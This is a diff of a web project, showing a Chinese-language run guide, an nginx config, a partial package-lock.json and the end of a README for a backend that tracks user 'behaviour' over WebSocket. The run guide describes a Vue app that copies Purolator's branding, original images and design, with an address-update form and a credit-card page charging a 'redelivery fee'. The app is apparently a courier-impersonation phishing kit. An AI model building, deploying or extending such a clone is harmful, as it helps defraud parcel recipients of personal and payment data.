- 检查消息格式是否正确
|
||||||
|
- 查看服务日志
|
||||||
|
|
||||||
|
3. **数据未保存**
|
||||||
|
- 检查数据库连接
|
||||||
|
- 确认数据库权限
|
||||||
|
- 查看错误日志
|
||||||
|
|
||||||
|
### 日志查看
|
||||||
|
```bash
|
||||||
|
# 查看服务日志
|
||||||
|
tail -f logs/light_house.log
|
||||||
|
```
|
||||||
|
|
||||||
|
## 扩展开发
|
||||||
|
|
||||||
|
### 添加新的行为类型
|
||||||
|
1. 在 `internal/handler/ws.go` 中添加新的 case 分支
|
||||||
|
2. 在模型中添加对应字段(如果需要)
|
||||||
|
3. 更新DAO层的更新方法
|
||||||
|
4. 更新文档和测试
|
||||||
|
|
||||||
|
### 自定义字段使用
|
||||||
|
系统提供了5个自定义字段,可以根据业务需求灵活使用:
|
||||||
|
- `custom_field1` - `custom_field5`
|
||||||
|
|
||||||
|
## 联系支持
|
||||||
|
|
||||||
|
如有问题或建议,请联系开发团队或提交Issue。
|
||||||
111
md/运行说明.md
Normal file
@@ -0,0 +1,111 @@
|
|||||||
|
# Purolator Vue 项目使用说明
|
||||||
|
|
||||||
|
## 项目概述
|
||||||
|
这是一个基于 Vue 3 + Vite 的 Purolator 配送状态管理系统,包含多个页面:
|
||||||
|
- 首页:配送状态显示
|
||||||
|
- 更新地址页面:修改配送地址表单
|
||||||
|
- 在线支付页面:重新配送服务费支付
|
||||||
|
|
||||||
|
## 快速开始
|
||||||
|
|
||||||
|
### 1. 安装依赖
|
||||||
|
```bash
|
||||||
|
npm install
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. 启动开发服务器
|
||||||
|
```bash
|
||||||
|
npm run dev
|
||||||
|
```
|
||||||
|
或者双击 `start.bat` 文件(Windows)
|
||||||
|
|
||||||
|
### 3. 访问应用
|
||||||
|
打开浏览器访问:`http://localhost:5173`(或显示的端口)
|
||||||
|
|
||||||
|
## 页面路由
|
||||||
|
|
||||||
|
### 主要页面
|
||||||
|
- **首页**: `/` - 显示包裹配送状态
|
||||||
|
- **更新地址**: `/update-address` - 配送地址修改表单
|
||||||
|
- **在线支付**: `/payment` - 重新配送服务费支付
|
||||||
|
|
||||||
|
### 页面导航
|
||||||
|
- 从首页点击 "Update Address" 按钮可以跳转到地址更新页面
|
||||||
|
- 从首页点击 "Pay for Redelivery" 按钮可以跳转到支付页面
|
||||||
|
- 从地址更新页面可以继续到支付页面
|
||||||
|
- 各页面都包含完整的头部导航和页脚
|
||||||
|
|
||||||
|
## 项目结构
|
||||||
|
|
||||||
|
```
|
||||||
|
src/
|
||||||
|
├── components/ # Vue 组件
|
||||||
|
│ ├── HomePage.vue # 首页组件
|
||||||
|
│ ├── UpdateAddressPage.vue # 地址更新页面
|
||||||
|
│ ├── PaymentPage.vue # 在线支付页面
|
||||||
|
│ ├── HeaderComponent.vue # 头部导航组件
|
||||||
|
│ └── FooterComponent.vue # 页脚组件
|
||||||
|
├── router/ # 路由配置
|
||||||
|
│ └── index.js # 路由定义
|
||||||
|
├── assets/ # 静态资源
|
||||||
|
├── App.vue # 主应用组件
|
||||||
|
├── main.js # 应用入口
|
||||||
|
└── style.css # 全局样式
|
||||||
|
```
|
||||||
|
|
||||||
|
## 功能特点
|
||||||
|
|
||||||
|
### 响应式设计
|
||||||
|
- 支持桌面端和移动端
|
||||||
|
- 最大宽度 450px,确保移动端最佳体验
|
||||||
|
- 自适应布局,在不同屏幕尺寸下都有良好显示
|
||||||
|
|
||||||
|
### 多页面支持
|
||||||
|
- 使用 Vue Router 实现页面路由
|
||||||
|
- 单页面应用体验
|
||||||
|
- 保持原有页面设计和功能
|
||||||
|
|
||||||
|
### 品牌一致性
|
||||||
|
- 保持 Purolator 品牌色彩 (#001996)
|
||||||
|
- 使用原版图片和图标
|
||||||
|
- 完整的页脚信息和链接
|
||||||
|
|
||||||
|
## 开发说明
|
||||||
|
|
||||||
|
### 技术栈
|
||||||
|
- Vue 3 (Composition API)
|
||||||
|
- Vue Router 4
|
||||||
|
- Vite (构建工具)
|
||||||
|
- CSS3 (响应式设计)
|
||||||
|
|
||||||
|
### 添加新页面
|
||||||
|
1. 在 `src/components/` 创建新的 Vue 组件
|
||||||
|
2. 在 `src/router/index.js` 添加路由配置
|
||||||
|
3. 确保组件包含 HeaderComponent 和 FooterComponent
|
||||||
|
|
||||||
|
### 样式规范
|
||||||
|
- 使用 scoped CSS 避免样式冲突
|
||||||
|
- 保持与原版设计一致的颜色和字体
|
||||||
|
- 确保移动端友好
|
||||||
|
|
||||||
|
## 故障排除
|
||||||
|
|
||||||
|
### 常见问题
|
||||||
|
1. **端口占用**: 如果 5173 端口被占用,Vite 会自动选择其他端口
|
||||||
|
2. **依赖问题**: 删除 `node_modules` 文件夹并重新运行 `npm install`
|
||||||
|
3. **路由问题**: 确保所有页面组件都已正确导入和注册
|
||||||
|
|
||||||
|
### 构建生产版本
|
||||||
|
```bash
|
||||||
|
npm run build
|
||||||
|
```
|
||||||
|
|
||||||
|
生产文件将生成在 `dist/` 目录中。
|
||||||
|
|
||||||
|
## 更新日志
|
||||||
|
- 添加了 Vue Router 支持
|
||||||
|
- 创建了地址更新页面
|
||||||
|
- 创建了在线支付页面
|
||||||
|
- 实现了多页面导航
|
||||||
|
- 支持信用卡支付表单验证
|
||||||
|
- 保持了原有的设计和功能
|
||||||
45
nginx.conf
Normal file
@@ -0,0 +1,45 @@
|
|||||||
|
server {
|
||||||
|
listen 8080;
|
||||||
|
server_name localhost;
|
||||||
|
root /usr/share/nginx/html;
|
||||||
|
index index.html;
|
||||||
|
|
||||||
|
# 启用 gzip 压缩
|
||||||
|
gzip on;
|
||||||
|
gzip_vary on;
|
||||||
|
gzip_min_length 1024;
|
||||||
|
gzip_proxied any;
|
||||||
|
gzip_types
|
||||||
|
text/plain
|
||||||
|
text/css
|
||||||
|
text/xml
|
||||||
|
text/javascript
|
||||||
|
application/javascript
|
||||||
|
application/xml+rss
|
||||||
|
application/json;
|
||||||
|
|
||||||
|
# 处理静态资源
|
||||||
|
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ {
|
||||||
|
expires 1y;
|
||||||
|
add_header Cache-Control "public, immutable";
|
||||||
|
try_files $uri =404;
|
||||||
|
}
|
||||||
|
|
||||||
|
# SPA 路由支持 - 关键配置
|
||||||
|
location / {
|
||||||
|
try_files $uri $uri/ @fallback;
|
||||||
|
}
|
||||||
|
|
||||||
|
# 回退到 index.html,这是 SPA 路由的核心
|
||||||
|
location @fallback {
|
||||||
|
rewrite ^.*$ /index.html last;
|
||||||
|
}
|
||||||
|
|
||||||
|
# 安全头部
|
||||||
|
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||||
|
add_header X-Content-Type-Options "nosniff" always;
|
||||||
|
add_header X-XSS-Protection "1; mode=block" always;
|
||||||
|
|
||||||
|
# 错误页面
|
||||||
|
error_page 404 /index.html;
|
||||||
|
}
|
||||||
770
package-lock.json
generated
Normal file
@@ -0,0 +1,770 @@
|
|||||||
|
{
|
||||||
|
"name": "purolator-vue-app",
|
||||||
|
"version": "1.0.0",
|
||||||
|
"lockfileVersion": 3,
|
||||||
|
"requires": true,
|
||||||
|
"packages": {
|
||||||
|
"": {
|
||||||
|
"name": "purolator-vue-app",
|
||||||
|
"version": "1.0.0",
|
||||||
|
"dependencies": {
|
||||||
|
"vue": "^3.3.0",
|
||||||
|
"vue-router": "^4.5.1"
|
||||||
|
},
|
||||||
|
"devDependencies": {
|
||||||
|
"@vitejs/plugin-vue": "^4.0.0",
|
||||||
|
"vite": "^4.0.0"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@babel/helper-string-parser": {
|
||||||
|
"version": "7.27.1",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz",
|
||||||
|
"integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==",
|
||||||
|
"engines": {
|
||||||
|
"node": ">=6.9.0"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@babel/helper-validator-identifier": {
|
||||||
|
"version": "7.27.1",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.27.1.tgz",
|
||||||
|
"integrity": "sha512-D2hP9eA+Sqx1kBZgzxZh0y1trbuU+JoDkiEwqhQ36nodYqJwyEIhPSdMNd7lOm/4io72luTPWH20Yda0xOuUow==",
|
||||||
|
"engines": {
|
||||||
|
"node": ">=6.9.0"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@babel/parser": {
|
||||||
|
"version": "7.27.5",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@babel/parser/-/parser-7.27.5.tgz",
|
||||||
|
"integrity": "sha512-OsQd175SxWkGlzbny8J3K8TnnDD0N3lrIUtB92xwyRpzaenGZhxDvxN/JgU00U3CDZNj9tPuDJ5H0WS4Nt3vKg==",
|
||||||
|
"dependencies": {
|
||||||
|
"@babel/types": "^7.27.3"
|
||||||
|
},
|
||||||
|
"bin": {
|
||||||
|
"parser": "bin/babel-parser.js"
|
||||||
|
},
|
||||||
|
"engines": {
|
||||||
|
"node": ">=6.0.0"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@babel/types": {
|
||||||
|
"version": "7.27.6",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@babel/types/-/types-7.27.6.tgz",
|
||||||
|
"integrity": "sha512-ETyHEk2VHHvl9b9jZP5IHPavHYk57EhanlRRuae9XCpb/j5bDCbPPMOBfCWhnl/7EDJz0jEMCi/RhccCE8r1+Q==",
|
||||||
|
"dependencies": {
|
||||||
|
"@babel/helper-string-parser": "^7.27.1",
|
||||||
|
"@babel/helper-validator-identifier": "^7.27.1"
|
||||||
|
},
|
||||||
|
"engines": {
|
||||||
|
"node": ">=6.9.0"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@esbuild/android-arm": {
|
||||||
|
"version": "0.18.20",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@esbuild/android-arm/-/android-arm-0.18.20.tgz",
|
||||||
|
"integrity": "sha512-fyi7TDI/ijKKNZTUJAQqiG5T7YjJXgnzkURqmGj13C6dCqckZBLdl4h7bkhHt/t0WP+zO9/zwroDvANaOqO5Sw==",
|
||||||
|
"cpu": [
|
||||||
|
"arm"
|
||||||
|
],
|
||||||
|
"dev": true,
|
||||||
|
"optional": true,
|
||||||
|
"os": [
|
||||||
|
"android"
|
||||||
|
],
|
||||||
|
"engines": {
|
||||||
|
"node": ">=12"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@esbuild/android-arm64": {
|
||||||
|
"version": "0.18.20",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@esbuild/android-arm64/-/android-arm64-0.18.20.tgz",
|
||||||
|
"integrity": "sha512-Nz4rJcchGDtENV0eMKUNa6L12zz2zBDXuhj/Vjh18zGqB44Bi7MBMSXjgunJgjRhCmKOjnPuZp4Mb6OKqtMHLQ==",
|
||||||
|
"cpu": [
|
||||||
|
"arm64"
|
||||||
|
],
|
||||||
|
"dev": true,
|
||||||
|
"optional": true,
|
||||||
|
"os": [
|
||||||
|
"android"
|
||||||
|
],
|
||||||
|
"engines": {
|
||||||
|
"node": ">=12"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@esbuild/android-x64": {
|
||||||
|
"version": "0.18.20",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@esbuild/android-x64/-/android-x64-0.18.20.tgz",
|
||||||
|
"integrity": "sha512-8GDdlePJA8D6zlZYJV/jnrRAi6rOiNaCC/JclcXpB+KIuvfBN4owLtgzY2bsxnx666XjJx2kDPUmnTtR8qKQUg==",
|
||||||
|
"cpu": [
|
||||||
|
"x64"
|
||||||
|
],
|
||||||
|
"dev": true,
|
||||||
|
"optional": true,
|
||||||
|
"os": [
|
||||||
|
"android"
|
||||||
|
],
|
||||||
|
"engines": {
|
||||||
|
"node": ">=12"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@esbuild/darwin-arm64": {
|
||||||
|
"version": "0.18.20",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@esbuild/darwin-arm64/-/darwin-arm64-0.18.20.tgz",
|
||||||
|
"integrity": "sha512-bxRHW5kHU38zS2lPTPOyuyTm+S+eobPUnTNkdJEfAddYgEcll4xkT8DB9d2008DtTbl7uJag2HuE5NZAZgnNEA==",
|
||||||
|
"cpu": [
|
||||||
|
"arm64"
|
||||||
|
],
|
||||||
|
"dev": true,
|
||||||
|
"optional": true,
|
||||||
|
"os": [
|
||||||
|
"darwin"
|
||||||
|
],
|
||||||
|
"engines": {
|
||||||
|
"node": ">=12"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@esbuild/darwin-x64": {
|
||||||
|
"version": "0.18.20",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@esbuild/darwin-x64/-/darwin-x64-0.18.20.tgz",
|
||||||
|
"integrity": "sha512-pc5gxlMDxzm513qPGbCbDukOdsGtKhfxD1zJKXjCCcU7ju50O7MeAZ8c4krSJcOIJGFR+qx21yMMVYwiQvyTyQ==",
|
||||||
|
"cpu": [
|
||||||
|
"x64"
|
||||||
|
],
|
||||||
|
"dev": true,
|
||||||
|
"optional": true,
|
||||||
|
"os": [
|
||||||
|
"darwin"
|
||||||
|
],
|
||||||
|
"engines": {
|
||||||
|
"node": ">=12"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@esbuild/freebsd-arm64": {
|
||||||
|
"version": "0.18.20",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@esbuild/freebsd-arm64/-/freebsd-arm64-0.18.20.tgz",
|
||||||
|
"integrity": "sha512-yqDQHy4QHevpMAaxhhIwYPMv1NECwOvIpGCZkECn8w2WFHXjEwrBn3CeNIYsibZ/iZEUemj++M26W3cNR5h+Tw==",
|
||||||
|
"cpu": [
|
||||||
|
"arm64"
|
||||||
|
],
|
||||||
|
"dev": true,
|
||||||
|
"optional": true,
|
||||||
|
"os": [
|
||||||
|
"freebsd"
|
||||||
|
],
|
||||||
|
"engines": {
|
||||||
|
"node": ">=12"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@esbuild/freebsd-x64": {
|
||||||
|
"version": "0.18.20",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@esbuild/freebsd-x64/-/freebsd-x64-0.18.20.tgz",
|
||||||
|
"integrity": "sha512-tgWRPPuQsd3RmBZwarGVHZQvtzfEBOreNuxEMKFcd5DaDn2PbBxfwLcj4+aenoh7ctXcbXmOQIn8HI6mCSw5MQ==",
|
||||||
|
"cpu": [
|
||||||
|
"x64"
|
||||||
|
],
|
||||||
|
"dev": true,
|
||||||
|
"optional": true,
|
||||||
|
"os": [
|
||||||
|
"freebsd"
|
||||||
|
],
|
||||||
|
"engines": {
|
||||||
|
"node": ">=12"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@esbuild/linux-arm": {
|
||||||
|
"version": "0.18.20",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@esbuild/linux-arm/-/linux-arm-0.18.20.tgz",
|
||||||
|
"integrity": "sha512-/5bHkMWnq1EgKr1V+Ybz3s1hWXok7mDFUMQ4cG10AfW3wL02PSZi5kFpYKrptDsgb2WAJIvRcDm+qIvXf/apvg==",
|
||||||
|
"cpu": [
|
||||||
|
"arm"
|
||||||
|
],
|
||||||
|
"dev": true,
|
||||||
|
"optional": true,
|
||||||
|
"os": [
|
||||||
|
"linux"
|
||||||
|
],
|
||||||
|
"engines": {
|
||||||
|
"node": ">=12"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@esbuild/linux-arm64": {
|
||||||
|
"version": "0.18.20",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@esbuild/linux-arm64/-/linux-arm64-0.18.20.tgz",
|
||||||
|
"integrity": "sha512-2YbscF+UL7SQAVIpnWvYwM+3LskyDmPhe31pE7/aoTMFKKzIc9lLbyGUpmmb8a8AixOL61sQ/mFh3jEjHYFvdA==",
|
||||||
|
"cpu": [
|
||||||
|
"arm64"
|
||||||
|
],
|
||||||
|
"dev": true,
|
||||||
|
"optional": true,
|
||||||
|
"os": [
|
||||||
|
"linux"
|
||||||
|
],
|
||||||
|
"engines": {
|
||||||
|
"node": ">=12"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@esbuild/linux-ia32": {
|
||||||
|
"version": "0.18.20",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@esbuild/linux-ia32/-/linux-ia32-0.18.20.tgz",
|
||||||
|
"integrity": "sha512-P4etWwq6IsReT0E1KHU40bOnzMHoH73aXp96Fs8TIT6z9Hu8G6+0SHSw9i2isWrD2nbx2qo5yUqACgdfVGx7TA==",
|
||||||
|
"cpu": [
|
||||||
|
"ia32"
|
||||||
|
],
|
||||||
|
"dev": true,
|
||||||
|
"optional": true,
|
||||||
|
"os": [
|
||||||
|
"linux"
|
||||||
|
],
|
||||||
|
"engines": {
|
||||||
|
"node": ">=12"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@esbuild/linux-loong64": {
|
||||||
|
"version": "0.18.20",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@esbuild/linux-loong64/-/linux-loong64-0.18.20.tgz",
|
||||||
|
"integrity": "sha512-nXW8nqBTrOpDLPgPY9uV+/1DjxoQ7DoB2N8eocyq8I9XuqJ7BiAMDMf9n1xZM9TgW0J8zrquIb/A7s3BJv7rjg==",
|
||||||
|
"cpu": [
|
||||||
|
"loong64"
|
||||||
|
],
|
||||||
|
"dev": true,
|
||||||
|
"optional": true,
|
||||||
|
"os": [
|
||||||
|
"linux"
|
||||||
|
],
|
||||||
|
"engines": {
|
||||||
|
"node": ">=12"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@esbuild/linux-mips64el": {
|
||||||
|
"version": "0.18.20",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@esbuild/linux-mips64el/-/linux-mips64el-0.18.20.tgz",
|
||||||
|
"integrity": "sha512-d5NeaXZcHp8PzYy5VnXV3VSd2D328Zb+9dEq5HE6bw6+N86JVPExrA6O68OPwobntbNJ0pzCpUFZTo3w0GyetQ==",
|
||||||
|
"cpu": [
|
||||||
|
"mips64el"
|
||||||
|
],
|
||||||
|
"dev": true,
|
||||||
|
"optional": true,
|
||||||
|
"os": [
|
||||||
|
"linux"
|
||||||
|
],
|
||||||
|
"engines": {
|
||||||
|
"node": ">=12"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@esbuild/linux-ppc64": {
|
||||||
|
"version": "0.18.20",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@esbuild/linux-ppc64/-/linux-ppc64-0.18.20.tgz",
|
||||||
|
"integrity": "sha512-WHPyeScRNcmANnLQkq6AfyXRFr5D6N2sKgkFo2FqguP44Nw2eyDlbTdZwd9GYk98DZG9QItIiTlFLHJHjxP3FA==",
|
||||||
|
"cpu": [
|
||||||
|
"ppc64"
|
||||||
|
],
|
||||||
|
"dev": true,
|
||||||
|
"optional": true,
|
||||||
|
"os": [
|
||||||
|
"linux"
|
||||||
|
],
|
||||||
|
"engines": {
|
||||||
|
"node": ">=12"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@esbuild/linux-riscv64": {
|
||||||
|
"version": "0.18.20",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@esbuild/linux-riscv64/-/linux-riscv64-0.18.20.tgz",
|
||||||
|
"integrity": "sha512-WSxo6h5ecI5XH34KC7w5veNnKkju3zBRLEQNY7mv5mtBmrP/MjNBCAlsM2u5hDBlS3NGcTQpoBvRzqBcRtpq1A==",
|
||||||
|
"cpu": [
|
||||||
|
"riscv64"
|
||||||
|
],
|
||||||
|
"dev": true,
|
||||||
|
"optional": true,
|
||||||
|
"os": [
|
||||||
|
"linux"
|
||||||
|
],
|
||||||
|
"engines": {
|
||||||
|
"node": ">=12"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@esbuild/linux-s390x": {
|
||||||
|
"version": "0.18.20",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@esbuild/linux-s390x/-/linux-s390x-0.18.20.tgz",
|
||||||
|
"integrity": "sha512-+8231GMs3mAEth6Ja1iK0a1sQ3ohfcpzpRLH8uuc5/KVDFneH6jtAJLFGafpzpMRO6DzJ6AvXKze9LfFMrIHVQ==",
|
||||||
|
"cpu": [
|
||||||
|
"s390x"
|
||||||
|
],
|
||||||
|
"dev": true,
|
||||||
|
"optional": true,
|
||||||
|
"os": [
|
||||||
|
"linux"
|
||||||
|
],
|
||||||
|
"engines": {
|
||||||
|
"node": ">=12"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@esbuild/linux-x64": {
|
||||||
|
"version": "0.18.20",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@esbuild/linux-x64/-/linux-x64-0.18.20.tgz",
|
||||||
|
"integrity": "sha512-UYqiqemphJcNsFEskc73jQ7B9jgwjWrSayxawS6UVFZGWrAAtkzjxSqnoclCXxWtfwLdzU+vTpcNYhpn43uP1w==",
|
||||||
|
"cpu": [
|
||||||
|
"x64"
|
||||||
|
],
|
||||||
|
"dev": true,
|
||||||
|
"optional": true,
|
||||||
|
"os": [
|
||||||
|
"linux"
|
||||||
|
],
|
||||||
|
"engines": {
|
||||||
|
"node": ">=12"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@esbuild/netbsd-x64": {
|
||||||
|
"version": "0.18.20",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@esbuild/netbsd-x64/-/netbsd-x64-0.18.20.tgz",
|
||||||
|
"integrity": "sha512-iO1c++VP6xUBUmltHZoMtCUdPlnPGdBom6IrO4gyKPFFVBKioIImVooR5I83nTew5UOYrk3gIJhbZh8X44y06A==",
|
||||||
|
"cpu": [
|
||||||
|
"x64"
|
||||||
|
],
|
||||||
|
"dev": true,
|
||||||
|
"optional": true,
|
||||||
|
"os": [
|
||||||
|
"netbsd"
|
||||||
|
],
|
||||||
|
"engines": {
|
||||||
|
"node": ">=12"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@esbuild/openbsd-x64": {
|
||||||
|
"version": "0.18.20",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@esbuild/openbsd-x64/-/openbsd-x64-0.18.20.tgz",
|
||||||
|
"integrity": "sha512-e5e4YSsuQfX4cxcygw/UCPIEP6wbIL+se3sxPdCiMbFLBWu0eiZOJ7WoD+ptCLrmjZBK1Wk7I6D/I3NglUGOxg==",
|
||||||
|
"cpu": [
|
||||||
|
"x64"
|
||||||
|
],
|
||||||
|
"dev": true,
|
||||||
|
"optional": true,
|
||||||
|
"os": [
|
||||||
|
"openbsd"
|
||||||
|
],
|
||||||
|
"engines": {
|
||||||
|
"node": ">=12"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@esbuild/sunos-x64": {
|
||||||
|
"version": "0.18.20",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@esbuild/sunos-x64/-/sunos-x64-0.18.20.tgz",
|
||||||
|
"integrity": "sha512-kDbFRFp0YpTQVVrqUd5FTYmWo45zGaXe0X8E1G/LKFC0v8x0vWrhOWSLITcCn63lmZIxfOMXtCfti/RxN/0wnQ==",
|
||||||
|
"cpu": [
|
||||||
|
"x64"
|
||||||
|
],
|
||||||
|
"dev": true,
|
||||||
|
"optional": true,
|
||||||
|
"os": [
|
||||||
|
"sunos"
|
||||||
|
],
|
||||||
|
"engines": {
|
||||||
|
"node": ">=12"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@esbuild/win32-arm64": {
|
||||||
|
"version": "0.18.20",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@esbuild/win32-arm64/-/win32-arm64-0.18.20.tgz",
|
||||||
|
"integrity": "sha512-ddYFR6ItYgoaq4v4JmQQaAI5s7npztfV4Ag6NrhiaW0RrnOXqBkgwZLofVTlq1daVTQNhtI5oieTvkRPfZrePg==",
|
||||||
|
"cpu": [
|
||||||
|
"arm64"
|
||||||
|
],
|
||||||
|
"dev": true,
|
||||||
|
"optional": true,
|
||||||
|
"os": [
|
||||||
|
"win32"
|
||||||
|
],
|
||||||
|
"engines": {
|
||||||
|
"node": ">=12"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@esbuild/win32-ia32": {
|
||||||
|
"version": "0.18.20",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@esbuild/win32-ia32/-/win32-ia32-0.18.20.tgz",
|
||||||
|
"integrity": "sha512-Wv7QBi3ID/rROT08SABTS7eV4hX26sVduqDOTe1MvGMjNd3EjOz4b7zeexIR62GTIEKrfJXKL9LFxTYgkyeu7g==",
|
||||||
|
"cpu": [
|
||||||
|
"ia32"
|
||||||
|
],
|
||||||
|
"dev": true,
|
||||||
|
"optional": true,
|
||||||
|
"os": [
|
||||||
|
"win32"
|
||||||
|
],
|
||||||
|
"engines": {
|
||||||
|
"node": ">=12"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@esbuild/win32-x64": {
|
||||||
|
"version": "0.18.20",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@esbuild/win32-x64/-/win32-x64-0.18.20.tgz",
|
||||||
|
"integrity": "sha512-kTdfRcSiDfQca/y9QIkng02avJ+NCaQvrMejlsB3RRv5sE9rRoeBPISaZpKxHELzRxZyLvNts1P27W3wV+8geQ==",
|
||||||
|
"cpu": [
|
||||||
|
"x64"
|
||||||
|
],
|
||||||
|
"dev": true,
|
||||||
|
"optional": true,
|
||||||
|
"os": [
|
||||||
|
"win32"
|
||||||
|
],
|
||||||
|
"engines": {
|
||||||
|
"node": ">=12"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@jridgewell/sourcemap-codec": {
|
||||||
|
"version": "1.5.0",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.0.tgz",
|
||||||
|
"integrity": "sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ=="
|
||||||
|
},
|
||||||
|
"node_modules/@vitejs/plugin-vue": {
|
||||||
|
"version": "4.6.2",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@vitejs/plugin-vue/-/plugin-vue-4.6.2.tgz",
|
||||||
|
"integrity": "sha512-kqf7SGFoG+80aZG6Pf+gsZIVvGSCKE98JbiWqcCV9cThtg91Jav0yvYFC9Zb+jKetNGF6ZKeoaxgZfND21fWKw==",
|
||||||
|
"dev": true,
|
||||||
|
"engines": {
|
||||||
|
"node": "^14.18.0 || >=16.0.0"
|
||||||
|
},
|
||||||
|
"peerDependencies": {
|
||||||
|
"vite": "^4.0.0 || ^5.0.0",
|
||||||
|
"vue": "^3.2.25"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@vue/compiler-core": {
|
||||||
|
"version": "3.5.17",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@vue/compiler-core/-/compiler-core-3.5.17.tgz",
|
||||||
|
"integrity": "sha512-Xe+AittLbAyV0pabcN7cP7/BenRBNcteM4aSDCtRvGw0d9OL+HG1u/XHLY/kt1q4fyMeZYXyIYrsHuPSiDPosA==",
|
||||||
|
"dependencies": {
|
||||||
|
"@babel/parser": "^7.27.5",
|
||||||
|
"@vue/shared": "3.5.17",
|
||||||
|
"entities": "^4.5.0",
|
||||||
|
"estree-walker": "^2.0.2",
|
||||||
|
"source-map-js": "^1.2.1"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@vue/compiler-dom": {
|
||||||
|
"version": "3.5.17",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@vue/compiler-dom/-/compiler-dom-3.5.17.tgz",
|
||||||
|
"integrity": "sha512-+2UgfLKoaNLhgfhV5Ihnk6wB4ljyW1/7wUIog2puUqajiC29Lp5R/IKDdkebh9jTbTogTbsgB+OY9cEWzG95JQ==",
|
||||||
|
"dependencies": {
|
||||||
|
"@vue/compiler-core": "3.5.17",
|
||||||
|
"@vue/shared": "3.5.17"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@vue/compiler-sfc": {
|
||||||
|
"version": "3.5.17",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@vue/compiler-sfc/-/compiler-sfc-3.5.17.tgz",
|
||||||
|
"integrity": "sha512-rQQxbRJMgTqwRugtjw0cnyQv9cP4/4BxWfTdRBkqsTfLOHWykLzbOc3C4GGzAmdMDxhzU/1Ija5bTjMVrddqww==",
|
||||||
|
"dependencies": {
|
||||||
|
"@babel/parser": "^7.27.5",
|
||||||
|
"@vue/compiler-core": "3.5.17",
|
||||||
|
"@vue/compiler-dom": "3.5.17",
|
||||||
|
"@vue/compiler-ssr": "3.5.17",
|
||||||
|
"@vue/shared": "3.5.17",
|
||||||
|
"estree-walker": "^2.0.2",
|
||||||
|
"magic-string": "^0.30.17",
|
||||||
|
"postcss": "^8.5.6",
|
||||||
|
"source-map-js": "^1.2.1"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@vue/compiler-ssr": {
|
||||||
|
"version": "3.5.17",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@vue/compiler-ssr/-/compiler-ssr-3.5.17.tgz",
|
||||||
|
